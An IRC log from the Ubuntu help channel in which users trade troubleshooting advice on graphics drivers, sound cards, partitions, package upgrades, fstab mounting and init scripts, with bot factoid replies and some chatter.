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familiaHi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!07:08
shwaghow do I make an ISO from an audio cd  on the command line.07:08
_caid_mnoir: What I meant was, could by burned CD be broken (I think the ISO is fine)07:08
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siouxhey who konws how to get skypecast for linux???  :(07:09
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pike_shwag: cat /dev/cdrom > file.ixo07:09
pike_shwag: .iso rather07:09
n2diyshwag: cdrecord?07:09
mnoir_caid_: do you have a tool to compute the md5 sum for the burned cd?07:09
shwagpike_: really ?07:09
stooneHow can I remove device links (ftp, mounted stuff) from my desktop?07:09
pike_shwag: yeah07:09
neghsmokepista: (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work07:09
familiaHi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!07:09
neghsmokenot sure how to fix this07:09
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_caid_mnoir: Well, I could make an ISO from the CD and md5sum it, but that ould take a bit of time so I'd rather know if this was the likely problem.07:09
Dextorionhi07:10
pistain /lib/modules/[your kernel]  find fglrx.ko07:10
mnoir_caid_: if it boots it is less likely to be broken but maybe.  and CDs can be summed by a decent tool07:10
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_caid_mnoir: Ok, so what other sources for this error could there be?07:11
Pirate-Kinghello07:11
jrib!icons | stoone07:11
ubotustoone: Want to see volume/trash icons on the desktop? Go to /apps/nautilus/desktop in gconf-editor (Gnome) or go to http://kudos.berlios.de/kf/kisimlar/tipsntrix.html#showtrash (KDE)07:11
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stoonejrib: Thx07:11
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psynaps3_finally its time for me to throw network manager out and go back to the old style... manual editing... *disappointed*07:11
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neghsmokepista: found it07:11
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barielhello, i have an external usb hdd from a friend which seems not to be working, how can i check if the hdd is ok or not? i tried plugged the usb hdd into my laptop, but ubuntu seems can not recognize it07:12
pistaneghsmoke, how many fglrxs are there?, where07:12
familiaHi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!07:12
n2diybariel: lshw?07:12
DextorionSomeone that is king with grub please help before i format the whole thing. Kind of strange setup here, and it doesnt work:  1 IDE disk with one partition on: EXT3 mounted as /home/ works!   1 SATA disk with 4 partitions on: Win, NTFS, EXT3(/), swap.  Booting linux is no problem, but booting into win dont work.07:12
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neghsmokepista: 4 total, one in /lib/modules/2.6.17-10-generic/kernel/drivers/char/drm    the rest exist in various volders of /lib/modules/fglrx07:13
pike_bariel: lsusb  if it shows up try "ls -t /dev | head" if you see sda1 or b1 etc you can sudo mount /dev/sdb1 /media/usb07:13
barieln2diy, what should i expect to see?07:13
mnoir_caid_: i do not know - i do not have a 64b system to test.  just guessing, disk problems?  memory?  it might be good to know exactly where in the process it fails.  but i am not sure i will be the best answerer07:13
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pistaneghsmoke, btw do you have composite disabled?07:13
n2diybariel: all the hardware your system is aware of.07:13
HooblyHow can I get past a blinking cursor when booting?  Anyone?07:14
neghsmokepista: yes07:14
Dextoriongrub config says root (hd1,0), makeactive, chainloader +1 for windows partition.  doesnt work.07:14
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pistaok go to /lib/modules/2617..../char/drm/07:14
Dextorionand it says root (hd1,2) for the linux patition. Does work.07:14
neghsmokeokay07:14
Dextorionany ideas?07:14
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Pirate-Kingwas going  to isntall ubuntu on my laptop is there anyway to change the brown color sceheme07:15
pistaneghsmoke, now modprobe -r fglrx07:15
barielpike_, i cant see any sda1 or b1, but there is sg1 and sg0, i have usb mouse and another usb hdd storage07:15
mnoir_caid_: does the live cd work ok for a long time?  i know this is frustrating.07:15
riotkittieyes. system > preferences > themes07:15
_caid_mnoir: hardware problems seem unlikely since i used the computer for winxp on a daily basis, but I put a new sata drive in it today on which i want to install ubuntu07:15
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pistathen insmod fglrx.ko, then show your dmesg (last lines)07:15
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_caid_mnoir: it freezes up after a little while07:15
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_caid_mnoir: right now i've managed to boot it and start the installer07:16
n2diy! udev07:16
ubotuudev: rule-based device node and kernel event manager. In component main, is important. Version 093-0ubuntu18 (edgy), package size 224 kB, installed size 768 kB07:16
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n2diy! hotplug07:16
ubotuSorry, I don't know anything about hotplug - try searching on http://bots.ubuntulinux.nl/factoids.cgi07:16
pike_bariel: unplug and replug then maybe "dmesg | tail -n 30"  the 30 is just how many lines to show.07:16
neghsmokepista: modprobe -r fglrx returns         (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work07:16
neghsmokewhoops07:17
mnoir_caid_: agreed on hardware problems except you just put in a new drive and linux stresses hardware in different ways. very often marginal memory will fail with linux that works with win osses07:17
neghsmokewrong error07:17
varsendaggrhey i installed mozilla firefox 2 from the web cause i have breezy ...   how do i get flash 9m to work?07:17
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neghsmokeerror removing fglrx, not permitted07:17
tyme-!kernel07:17
ubotukernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild07:17
pistaneghsmoke, sudo su, then do it all again from modprobe -r07:17
pistayou must be root07:17
neghsmokek07:17
_caid_mnoir: didn't know that, I'll run a memcheck right away07:17
jedrickhow can i mount my windows drive automatically on start up boot?07:18
riotkittie!xinarama07:18
ubotuSorry, I don't know anything about xinarama - try searching on http://bots.ubuntulinux.nl/factoids.cgi07:18
pike_!ntfs | jedrick07:18
ubotujedrick: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse07:18
mnoir_caid_: not 100% guaranteed but this is wtf mode - hard to troubleshoot, i know07:18
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pike_jedrick: basically there is an /etc/fstab file you need to edit07:18
riotkittieyaaaargh07:18
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mnoirriotkittie: you sound like Dean...07:19
pike_lol07:19
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ZambeziTo run dist-upgrade in the terminal, I have to change dapper to edgy in sources.list, then run apt-get update, then aptitude dist-upgrade right?07:19
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neghsmokepista: last line reads module loaded - fglrx 8.32.5 on Minor 007:19
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music_.07:20
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music_ok07:20
mnoirZambezi: basically but i hope you are following a guide07:20
riotkittieno no. i dont start sounding like Dean til i start ticking off a list of states we're going to07:20
pistaneghsmoke, show me lines from /lib/modules/[kernel] /modules.dep where is fglrx07:20
neghsmokepista: there's also one error, second line down that reads: Error Process 7435 using kernel context 007:20
stefg!upgrade | Zambezi ^07:20
ubotuZambezi ^: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes07:20
neghsmokeokay one moment07:20
mnoirriotkittie: ok - unknown state, transition state, state of mind,  (thanks rioghal)07:21
Zambezimnoir, stefg I will foillow that guide. Thanks to both.07:21
barielpike_, dmesg show me that usb is unplugged then plugged again, http://pastebin.ca/31436507:21
varsendaggri have a 800mhz    124 should i upgrade to dapper?07:21
_caid_mnoir: ok, bios memtest said ok. last try froze at partitioning... my new sata drive is looking mighty suspicious, but i can't figure out why i'd get squashfs errors from that07:21
riotkittieyaaaaaargh. roar.07:21
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ can any one tell me why my driver "nvidia" wont work any more like 5 days ago now...07:21
paitartpike, psynaps3: so i just have to use either WRT54G ver. 4 or lower, or WRT54GL? aside from these linksys models, are there other alternatives?07:21
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pike_paitart: aside from those i see no advantage to linksys routers07:22
sparrow_zwrot podatku szukam programu pod Ubuntu do rozliczenia pitw07:22
jedrickhow can i play videos on totem.. it's says that no decoder where found07:22
faeryNatsukino luck :(07:22
mnoir_caid_: i think you are on to something - may be a driver issue or somesuch - i don't have sata drives but it is worth your asking your questions to the group with the assumption that you may have a sata problem07:22
faeryNatsukiflash has no sound even reinstalling it07:22
faeryNatsukii think it's a problem related to alsa, not with flash or java07:23
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mnoir_caid_: and remove my name or else nobody else might answer  (thanks rioghal)07:23
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ can any one tell me why my driver "nvidia" wont work any more like 5 days ago now...            omg any one here ever gonna fucking help????07:23
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paitartpike_: any compatible netgear, d-link models?07:23
lukillashi all!07:23
n2diy! ru | sparrow07:23
ubotusparrow:    #ubuntu-ru       /  Pozhalujsta vojdite v #ubuntu-ru dlq pomoshchi na russkom qzyke07:23
faeryNatsukihi07:23
mnoir_caid_: not that i mind seeing my name :)07:23
_caid_mnoir: kind of new to the ubuntu community so sorry for asking but: what group?07:23
CrankymonkyHow does one go about setting up last.fm in Amarok?07:24
mnoir_caid_: sorry i meant channel as in this channel07:24
pike_paitart: order the l one from newegg its like 54 dollars or something and you've got a really cool toy or something that works fine out of the box07:24
stefgmusic_: either you have no nvidia.ko wihich runs with your kernel. or it just takes a 'sudo depmod -ae' to make the kernel aware of its existence07:24
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riotkittiemusic_: with an attitude like that, probably not.07:24
_caid_mnoir: ok, thanks... i'll fiddle with the installer a bit more before i ask07:24
music_\its just been 5 days now07:25
faeryNatsukii need help fixing my sound07:25
music_i been asking...07:25
mnoir_caid_: :)07:25
segfaulthi anyone here use xchat-gnome and know how to get rid of these chars around everyones names , or even why they are there?07:25
neghsmokestefg: should depmod reply when you use it, or should it pause for a second and open another copmmand line in the terminal?07:25
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paitartpike_: thanks!07:25
pike_paitart: of course i use a cheap netgear but i wouldnt recommend it07:25
mnoirsegfault: probably a locale or charset problem07:25
jedrickhow can i play videos on totem.. it's says that no decoder where found07:25
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stefgneghsmoke: normally depmod just runs silently07:25
riotkittiewhich characters <should fire up X ... but i'm lazy>07:25
n2diymusic_: if I recall you upgraded to edgy, right?07:25
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lukillasi had a question, i wanna know if it's possible to share data which is stored on a virtual machine, with linux (i'm running a windows xp under linux, using vmware)07:25
barielpike_, do you have any hint for me?07:25
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segfaultmnoir: weird cuz i dont have that in regular xchat just xchat-gnome07:26
neghsmokepista: still there?07:26
riotkittiexchat-gnome, ick!07:26
neghsmokei like xchat =D07:26
apokryphos-tree-view is not possible without xchat-gnome, right?07:26
pistaneghsmoke, yes07:26
n2diyriotkittie: what is wrong with xchat-gnome?07:26
pistame too :)07:26
neghsmokepista: you've got a pm07:26
segfaultriotkittie: its a squre with 4 circles in it, it looks the 4 on a siz sided die07:26
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Zambezigksu "update-manager -c" doesn't work without X. What should I write instead?07:27
lukillasjedrick, you can use automatix2 to install codecs07:27
apokryphos-!automatix07:27
ubotuautomatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe07:27
pistaneghsmoke, no pm07:27
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pistai havn't received07:27
stefgmusic_ : try this line: 'sudo apt-get install linux-restricted-modules-`uname -r` nvidia-glx && sudo nvidia-glx-config enable && sudo /etc/init.d/?dm restart'07:28
neghsmokepista: hmmm k07:28
pike_bariel: id check ubuntuforums.org if somone there cant help. my boss is haning around so cant talk much ;p07:28
n2diy! lukillas, jedrick ! automatix07:28
riotkittien2diy: nothing's *wrong* with it, per se. i just prefer xchat over it. though i rarely use that theese days, either07:28
neghsmokesorry for spam in advance07:28
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neghsmoke<neghsmoke> /lib/modules/2.6.17-10-generic/volatile/fglrx.ko: /lib/modules/2.6.17-10-generic/kernel/drivers/char/agp/agpgart.ko07:28
neghsmoke<neghsmoke> /lib/modules/2.6.17-10-generic/kernel/drivers/char/drm/fglrx.ko: /lib/modules/2.6.17-10-generic/kernel/drivers/char/agp/agpgart.ko07:28
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n2diyautomatix ! lukillas, jedrick07:28
neghsmokepista: those are the only two lines containing fglrx07:28
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lukillasthanks n2diy07:28
roryyZambezi: another option is changing the file /etc/apt/sources.list to point to the next release, and running 'aptitude dist-upgrade' to upgrade.  The details are on the wiki07:28
pistaneghsmoke, ok, now comment out that volatile with #07:28
pistareset x server07:28
barielpike_, i think it is better for me to throw the hdd away07:28
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neghsmokepista: k07:28
adondoes anyone know how to view autocad files07:28
adon?07:28
jmblackIm having trouble with mysql-server after an apt-get update. Eventually I got to a point where all the mysql packages will remove (so I can re-add them) except mysql-server. I keep getting this error: http://jindal.pastebin.ca/31436707:29
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broostersvisit http://broosters.blogspot.com for the best chicks and the better entertainment... LMAO07:29
broostersvisit http://broosters.blogspot.com for the best chicks and the better entertainment... LMAO07:29
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n2diyriotkittie: ok, I didn't realize there was an Xchat.07:29
ZaggynlI'm having problem while apt-getting libdbus-glib-1-dev07:29
ZaggynlThe following packages have unmet dependencies:07:29
Zaggynl  libnotify-dev: Depends: libdbus-glib-1-dev (>= 0.23) but it is not going to be installed07:29
jmblackwhen upgrading mysql-server07:29
Zaggynloops07:29
neghsmokepista: if the line overflows do i need to comment both of them?07:29
faeryNatsukijedrick: install gstreamer packages07:29
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Zaggynlwhy is the 'but is not going to be installed' ??07:29
neghsmokeif the line wraps that is07:30
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faeryNatsukioh, i really need help fixing my sound card07:30
pistaneghsmoke, i think no07:30
neghsmokek, now what?07:30
_caid_Ok, is anybody aware of any problems with Samsung SATA drives and ubuntu for amd64?07:30
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roryyjmblack: do you know if the mysqld process is still running?07:30
pistaneghsmoke,  reset xserver07:30
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pistaor reboot07:30
neghsmokectrl alt backspace?07:30
stefg_caid_: sata problems are quite common07:30
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pistayeah07:30
neghsmokek brb07:30
stefg_caid_: dont blame yur drive, blame you hst-adapter07:31
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_caid_hst?07:31
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_caid_host?07:31
stefghost-adapter07:31
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stefgsorry, new keyboard... still not used to it07:31
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jmblackroryy: even after killing the processes (no mysqld when I "ps -A|grep mysql) it refuses to upgrade07:32
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_caid_blech, well, gona try booting 32-bt linux instead07:32
pipHello all07:32
pipI got a problem07:32
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jedrickfaeryNatsuki,  i can't install gstreamer.. i got error when i try to do sudo apt-get install gstreamer "W: Couldn't stat source package list http://archive.ubuntu.com breezy/universe Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_breezy_universe_binary-i386_Packages) - stat (2 No such file or directory)" why is that?07:33
pipI use dual os on my box winxp and linux07:33
pipI reinstalled windows but it failed and dameged the partiton table07:33
faeryNatsukithere are more than one gstreamer package07:33
pipso what shall I do to start my linux normally ?07:33
stefg!gstreamer breezy07:33
ubotuSorry, I don't know anything about gstreamer breezy - try searching on http://bots.ubuntulinux.nl/factoids.cgi07:33
stefg!gstreamer07:33
ubotuSorry, I don't know anything about gstreamer - try searching on http://bots.ubuntulinux.nl/factoids.cgi07:33
faeryNatsukiyou need to look for the codecs you need07:34
riotkittiepip: do you have a live disc?07:34
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pipriotkittie, no07:34
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pike_pip: damaged partition table or just boot manager is gone?07:34
faeryNatsukitry using synaptic07:34
tyme-!search gstreamer07:34
ubotuFound:07:34
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tuxn8rubuntu edgy disk is a live disc07:34
stefgjedrick: APT-CACHE SERACH GSTREAMER TO GET THE /RIGHT/ PACKAGE NAME07:34
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pippike_, the partition table is lost07:34
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faeryNatsukithen you cand find the gestreamer p4rlugins, and you need to have universe and multiverse repositories actived07:34
jamesbroseWhats another Command line editor apart from vi? Thats good...07:34
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tyme-vim07:35
tuxn8rjamesbrose, nano, vim, emacs07:35
stefgjoe07:35
pipriotkittie, if I got a live cd ,what shall I do next ?07:35
wizohey, when i try to make something, it says Makefile.inc:69: *** /lib/modules/2.6.15-27-386/build is missing, please set KERNELPATH.  Stop.07:35
wizowhat`s going on?07:35
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pike_jamesbrose: stay away from emacs. its evil incarnate07:35
music_ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/07:35
roryyjmblack: sorry, I'm not sure what to suggest in that case. Perhaps a bug in the deb preinstall scripts?07:35
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n2diyjamesbrose: vi isn't a command line editor, it is a text editor. nano is another text editor.07:35
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tyme-music_, you updated linux-restricted-modules right?07:35
tuxn8remacs does suck, but vim is good07:35
music_yea07:35
music_it did07:36
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OtterHi all, I have a quick init.d question, if anyone has the time07:36
riotkittiepip: if your partition table is gone, i'm not sure you /can/ do anything. your problem's out of my league.07:36
music_it removed something too07:36
tyme-music_, i use ati, but i had to disable fglrx in linux-restricted-modules, maybe you have to disable something there as well.07:36
tuxn8rpip, does xp boot?07:36
jedrickstefg,  ok thnx07:36
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YayBuntuwhat can i do to get my mounted drives to show up in "Computer"07:36
CheshireVikingmusic: was your update via the synaptic update manager?07:36
music_it removed nvidia-glx..07:36
music_yea07:36
riotkittieare you sure its the partition table, and not just your master boot record?07:37
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piptuxmaniac, I was going to reinstall xp ,but failed and the old partition table was broken07:37
pike_pip: only way i know is to make an identical table on an identical disk and then put it on damaged. youdd have to google that though its involved07:37
riotkittieah ok07:37
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tuxn8rpip, I would retry the xp install into its partion. it will erase the boot record, but you can use a live cd to fix it07:38
tyme-!laptop-mode07:38
ubotulaptop-mode: laptop-mode aims to reduce the power consumption of laptops. In component universe, is optional. Version 0.4 (edgy), package size 13 kB, installed size 88 kB07:38
tyme-!search laptop-mode07:38
ubotuFound:07:38
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jedrick!paste07:38
ubotupaste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)07:38
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stefgmusic_: either your looking for help and at least read what people offer you, or you have a different motivation and just want to troll... See, there's other networks for these kind of people07:38
OtterI have a script in /etc/fw/firewall which is just a bash script which modfies iptables. I then sylimk that file to /etc/init.d/firewall but it doesn't seem to run on bootup.. what and I doing wrong?07:38
wizohey, when i try to ``make`` something, it says Makefile.inc:69: *** /lib/modules/2.6.15-27-386/build is missing, please set KERNELPATH.  Stop. why does this happen?07:38
YayBuntuwhat can i do to get my mounted drives to show up in "Computer"07:38
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wizohow do i set KERNELPATH?07:39
roryywizo: you need to install the kernel header package07:39
music_i dont know much07:39
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tuxn8ryaybuntu, what shows up now?07:39
wizoahh07:39
CheshireVikingmusic: i've just installed the updates through the update manager & nothings gone wrong yet, i've not restarted gnome but it seems to work ok, glxgears is still working ok07:39
wizoi thought i did that already.. hmm thanks07:39
music_i just want my 3d back07:39
pipriotkittie, yeah,i am07:39
livingdaylightcan someone help me with installing an application called 'Songbird' ?07:39
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jedrickcan someone help me.. i have error everytime i install something using apt-get .. http://paste.ubuntu-nl.org/1326/ .. help anyone pls..07:39
roryywizo: something like linux-headers-386 (that's what I have on ubuntu 6.10)07:39
music_i restarted tho07:39
piptuxn8r, how to fix it ?07:39
YayBuntutuxn8r Filesystem, CDRom and 2 floppy drives (?? I only have one?)07:39
jmblackroryy: yeah, I accept that its a but in the package, can I remove the package manaully somehow?07:40
music_right after it updated i restarted07:40
riotkittiereason #4932 that dapper rocks - wireless and audio worked out of the box. whereas upon replacing xp with 2k on my 'designed for 2k' dell laptop... i had no sound07:40
ZambeziI don't run X and I want to upgrade my system to Edgy. How should i do?07:40
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wizoerr, how do i find what im currently using?07:40
jmblack*bug in the package07:40
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roryyjmblack: you can try 'dpkg' with a --force option07:40
riotkittieand had to spend 30 mins beating windows into submission before my wireless drivers would install07:40
tuxn8rpip, if you do a new xp install, it will erase your boot record, but it will work. then you should be able to insert an ubuntu cd and fix the boot record07:40
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CheshireVikingrite, i'll restart mine & see if it works07:40
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YayBuntutuxn8r Filesystem, CDRom and 2 floppy drives (?? I only have one?)07:40
riotkittietuxn8r: it's not his MBR, its the partition table.07:41
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YayBuntuI mounted 2 drives in /media/07:41
roryyjmblack: it's not something I've used often. Try 'dpkg --force-help' for more information07:41
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tuxn8ryaybuntu, that is strange07:41
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blekosfirefox crashes when i installed flash player plugin, any suggestions07:41
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YayBuntuYeah... But shouldn't the stuff i mount in /media/ get there automaticly?07:41
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roryyjmblack: I don't see anything about failing scripts though.. hm07:42
YayBuntuI can access it with no problem... Just wanted to get easier access through "Computer"07:42
roryyjmblack: what happens if you just uninstall mysql-server? Same thing?07:42
OtterBusy room :) I was wondering if someone saw my iptables startup problem with a file in /etc/init.d/firewall not running at startup?07:42
tuxn8ryaybuntu, i think that if you manually mount it in media, it won't automatically show up07:42
assasukassehi all07:42
tim167i'm installing a new videocard on my desktop, i get: Failed to start the X server...what do I do ?07:42
tuxn8ryaybuntu, do you have something like: "Floppy 1" and "Floppy Drive"?07:42
n2diywhat is mono, can I remove it from my system?07:42
assasukassei wanted to speed up my edgy, i read that making the / as ext2 would speed things u07:43
riotkittieoops. toddler approaching.07:43
assasukassep07:43
YayBuntutuxn8r yes... Is that normal?07:43
assasukassehow do i do that?07:43
riotkittie!mono07:43
ubotumono: Mono CLI (.NET) runtime. In component main, is optional. Version 1.1.17.1-1ubuntu7.1 (edgy), package size 1 kB, installed size 24 kB07:43
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Ottern2diy: mono is a opensorce version of .NET07:43
stefgassasukasse: that's a Placebo advice07:43
pike_pip: youve convinced me to start backing up my partition table ;)07:43
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assasukassestefg thanks alot07:43
assasukassehowever i must say that it takes age to load at bootup07:43
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CheshireVikingmusic_: all seemed to work ok, everything has started up as normal07:44
jedrickcan someone help me.. i have error everytime i install something using apt-get .. http://paste.ubuntu-nl.org/1326/ .. help anyone pls..07:44
neghsmokepista: that caused xserver to not start07:44
n2diyriotkittie: Otter, ok, Ubotu says it is optional, so I'm guessing it is safe to remove?07:44
music_:(07:44
tuxn8ryaybuntu, well mine is... I never seen that before, but the "Floppy 1" is mounted to /dev/ which is not a device. Somehow something extra is in there, but the "Floppy Drive" is the real thing07:44
YayBuntuI added the mounting of the drives to fstab... They might show up automaticly next time i restart07:44
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music_my didnt07:44
wizoerm07:44
riotkittien2diy: should be :)07:44
neghsmokepista: got a crash course in vim though lol07:44
knightis there any good text mode mp3 players?07:44
wizohow do i know which linux headers do i have to install07:44
pippike_, did I convince you to remember any other good idea to help me out ?07:44
riotkittieknight: mpg12307:44
jmblackroryy: yes same messages07:44
riotkittieor mpg32107:44
music_http://paste.ubuntu-nl.org/1243/    http://paste.ubuntu-nl.org/1244/read these07:44
YayBuntutuxn8r okay... weird?07:44
jmblackwhen uninstalling07:44
tim167installing new video card on previously working ubuntu desktop: "fatal server error: no screens found" what do I do ? thanks07:44
Ottern2diy: Should be fine. unless you are run apps that use Microsofts .NET or web sitres that rquire it. Should affect your Ubuntu install at all07:44
pistaneghsmoke, really?, did you comment it with #?07:44
assasukassefrom time to time ubuntu fails to load, tries to run fsck and hangs07:45
tuxn8ryaybuntu, yeah that is strange to me, i am researching it now....07:45
assasukassei reboot then works07:45
neghsmokeput a # before the first #07:45
assasukasseshould i run fsck? and how?07:45
neghsmokeerr07:45
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n2diyriotkittie: Otter, well, here goes nothing, thanks.07:45
jmblackI assume its just a problem with the removal script in the new package... if I can get ir removed I might be ok (*crosses fingers*)07:45
YayBuntutuxn8r Okay :) let me know if you find anything... I will fire up google too :p07:45
riotkittietim167: do you have the driver for the new card installed? have you reconfigured xorg.conf?07:45
neghsmokepista: I put a # right before the first / in the line containing fglrx volatile07:45
stefgassasukasse: dapper is fast, edgy even faster at boot-up... check the prelink and preload packages , and see what services start up at boot. evms and lvm are smetimes not needed07:45
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music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/        reqad my logs and the xorg.conf07:45
Ottern2diy: You can always readd it later..07:45
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tim167riotkittie: i don't know how to do that, can you help ?07:45
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neghsmokemaybe it needs a # on the wordwrapping line?07:46
CheshireVikingmusic_: not sure what's gone wrong, maybe your best bet would be to ask in here and see what comes back, i'm new to linux so i can get things working, but not troubleshoot yet07:46
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assasukassestefg i installed prelink packages and preload, and started them in chron, but still slooow07:46
riotkittietim167: what kind of card is it ?07:46
stefgassasukasse: hardware?07:46
tim167riotkittie: just a moment, I'll look07:46
n2diyOtter: yep, just didn't want to muck anything up by removing it.07:46
pistaneghsmoke, i think the problem is that the fglrx in volatile is wrong version07:46
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assasukasse8.4Gb hdd as home, 3.2Gb hdd as root, 1.2Gb as swap07:46
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pistaneghsmoke, you must load firstly that from drm07:46
stefgassasukasse: RAM and CPU?07:47
OtterI will post my problem again. I have built a custom iptables script which I have place in /etc/fw/firewall .. then I symlink it in /etc/init,d/firewall but the script does not run when I reboot.. plain old iptables.. what am i doing wrong07:47
tim167riotkittie: gainward 6600 PCI-e ...something like that07:47
music_CheshireViking; it did unstalled this thinging called nvidia-glx07:47
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assasukassestefg i followed this link http://kmandla.wordpress.com/2006/11/11/howto-set-up-edgy-for-speed/07:47
neghsmokepista: let me try again07:47
pike_pip: unless you memorized the disk geometry. i see a complete new install in your future. there are partition undelete programs through07:47
juano__anyone know why i cant send mail with kmail using gmail, i can fetch mail fine07:47
Ottern2diy: No worries.. .NET is a Microsoft thing.. MONO is the linux alertintive..07:47
pistaneghsmoke, if something gets pissed off run depmod -a07:47
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pistathat'll recover that file07:47
mnoirOtter: are you following a guide for this?07:47
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riotkittietim167: in a term, try...  sudo dpkg-reconfigure xserver-xorg07:47
neghsmokeyou're right pista, it's loading from volatile first07:47
stefgassasukasse: that's a half witty guy ....07:48
n2diyOtter: roger that, thanks.07:48
roryyjmblack: can you successfully run 'sudo /etc/init.d/mysqld start' and '/etc/init.d/mysqld stop'07:48
pistaneghsmoke, or: try to uncomment it back and put that with drm before volatile07:48
neghsmokeokay, i'll try that07:48
tim167riotkittie: ok07:48
knightriotkittie: hows mpg123 played in console?07:48
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YayBuntutuxn8r Seems to be a bug.... Maybe we can just remove the not-working one from fstab?07:48
Ottermnoir: Just typing to cause a script to load at boot time. I thought if I placed in /etc/init.d/ it would cause it to be a "runlevel" and run when I reboot07:48
tuxn8ryaybuntu, i just did07:48
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assasukassestefg any better guide?07:48
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riotkittieknight: mpg123 /path/to/file07:48
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tuxn8ryaybuntu, i just edited /etc/fstab and removed the /dev/ floppy0 line and then typed "mount"07:49
YayBuntutuxn8r And no problems?07:49
tuxn8ryaybuntu, then the crazy one went away and no probs07:49
stefgassasukasse: general tips: use tmpfs for /tmp and /var/tmp, switch off unneeded services with bum, use reiserfs07:49
mnoirOtter: no. init.d is where the scripts live but links in rcX.d dirs control automatic execution07:49
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blekosi installed flash player for firefox, but firefox now closes when i visit sites with flash,07:49
blekosany idea?07:49
YayBuntutuxn8r Nice :) I'll do that too07:49
CheshireVikingmusic_; my update just seemed to update mine to version 8776 and all seems ok07:49
tuxn8ryaybuntu, so it looks as though if you add your media devices to fstab and type "mount" then they should show up in "computer"07:49
tim167riotkittie: getting the configuring dialogs now07:49
YayBuntutuxn8r Some people even have 7 drives to show up.... But that seems to be another bug07:49
Ottermnoir: thanks.. moved from gentoo.. which is the normal run level rc.2?07:49
neghsmokepista: okay commented both lines this time so it doesn't see any of the volatile only the drm07:49
riotkittieblekos: uninstall flash. which version did you install - free, non-free, 7? 9?07:49
knightriotkittie: is there any console front end sfor mpg123?07:49
jmblackroryy: 'access denied for user 'debian-sys-maint'@'localhost'07:50
neghsmokexserver loaded fine07:50
YayBuntuokay... I'll try it07:50
jmblackwhen starting07:50
pistaneghsmoke, dri?07:50
music_ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/07:50
riotkittieknight: of that, i am not sure.07:50
roryyjmblack: hrm. maybe that's the problem?07:50
neghsmokedri?07:50
CheshireVikingmusic_; can't suggest anything else other than seeing if anybody here can help07:50
pistaglxinfo07:50
mnoirOtter: um yes but you should go fing the debial doc on this07:50
evilofishoI got a question aswell, Whenever I try to compile a C file it just lists like 200 errors and dosent do anything..07:50
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roryyjmblack: you are using sudo, obviously ?07:50
YayBuntutuxn8r They didn't :(07:50
jmblackror, possibly, I just want to blow it away and reload it ;(07:50
knightriotkittie: ive got mp3blaster its gpood07:50
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jmblackyes07:50
mnoirOtter: also the conversion to upstart in 6.10 might affect this07:50
pistaneghsmoke, glxinfo (find direct rendering in output)07:50
stefg!build | evilofisho07:50
ubotuevilofisho: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)07:50
tuxn8ryaybuntu, well that sucks07:50
neghsmokeDirect Rendering: No07:50
mnoirdebial-debian07:50
tim167riotkittie: select the desired X server driver, would that be nvidia ?07:50
blekosno idea, i just pressed the install missing plugin07:50
evilofishoKay, Thanks.07:51
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YayBuntutuxn8r Yeah... I'll just have to live with it07:51
mnoirOtbtw - welcome in from the storm :)07:51
YayBuntutuxn8r Until i find a solution07:51
Ottermnoir: already ran uinto the upstrart problem when installing djbdns.. but upstart shouldn't affect normal run level stuff.. I was just a idiot.. it is should be in /etc/rc.'x' .. thanks for the help07:51
riotkittietim167: of that, i am not sure. but give it a shot. worse that happens is it doesnt work, and you run the command again07:51
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tuxn8rwhat did you put in your fstab?07:51
amigraveI have a fresh install of debian sarge that I want to convert to ubuntu server, all I have to do is change /etc/apt/sources.list and apt-get update & dist-upgrade ? I heard about something with udev ? Should I install or remove it after upgrade ? It's a remote server and I have to be sure that it will reboot07:51
mnoirOtter: k  (thanks rioghal)07:52
stefgamigrave: won't work... see !install07:52
n2diyriotkittie: Otter, I survived!07:52
stefg!install | amigrave07:52
ubotuamigrave: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues07:52
mnoiramigrave: that might work and it might not07:52
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Ottern2diy: Long  Live n2diy!07:52
tim167riotkittie: ok, now it asks card's bus identifier, it is physically in AGP port is the default "PCI:2:0:0" a correct answer then07:52
tim167?07:52
pistaneghsmoke, so it loaded that from drm? are you sure07:53
amigravestefg: ubotu: mnoir: thanks, going to have a look07:53
riotkittietim167: yes07:53
LinAsHtim167, yes07:53
vgreat just found a live chat for ubuntu!!07:53
mnoiramigrave: in other words 'don't do it'07:53
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stefg!hi | v07:53
ubotuv: Hi! Welcome to #ubuntu!07:53
neghsmokepista how can i be sure?07:53
riotkittieeeep. the toddler reapproaches.07:53
neghsmokei'm sure the volatile line was commented out07:53
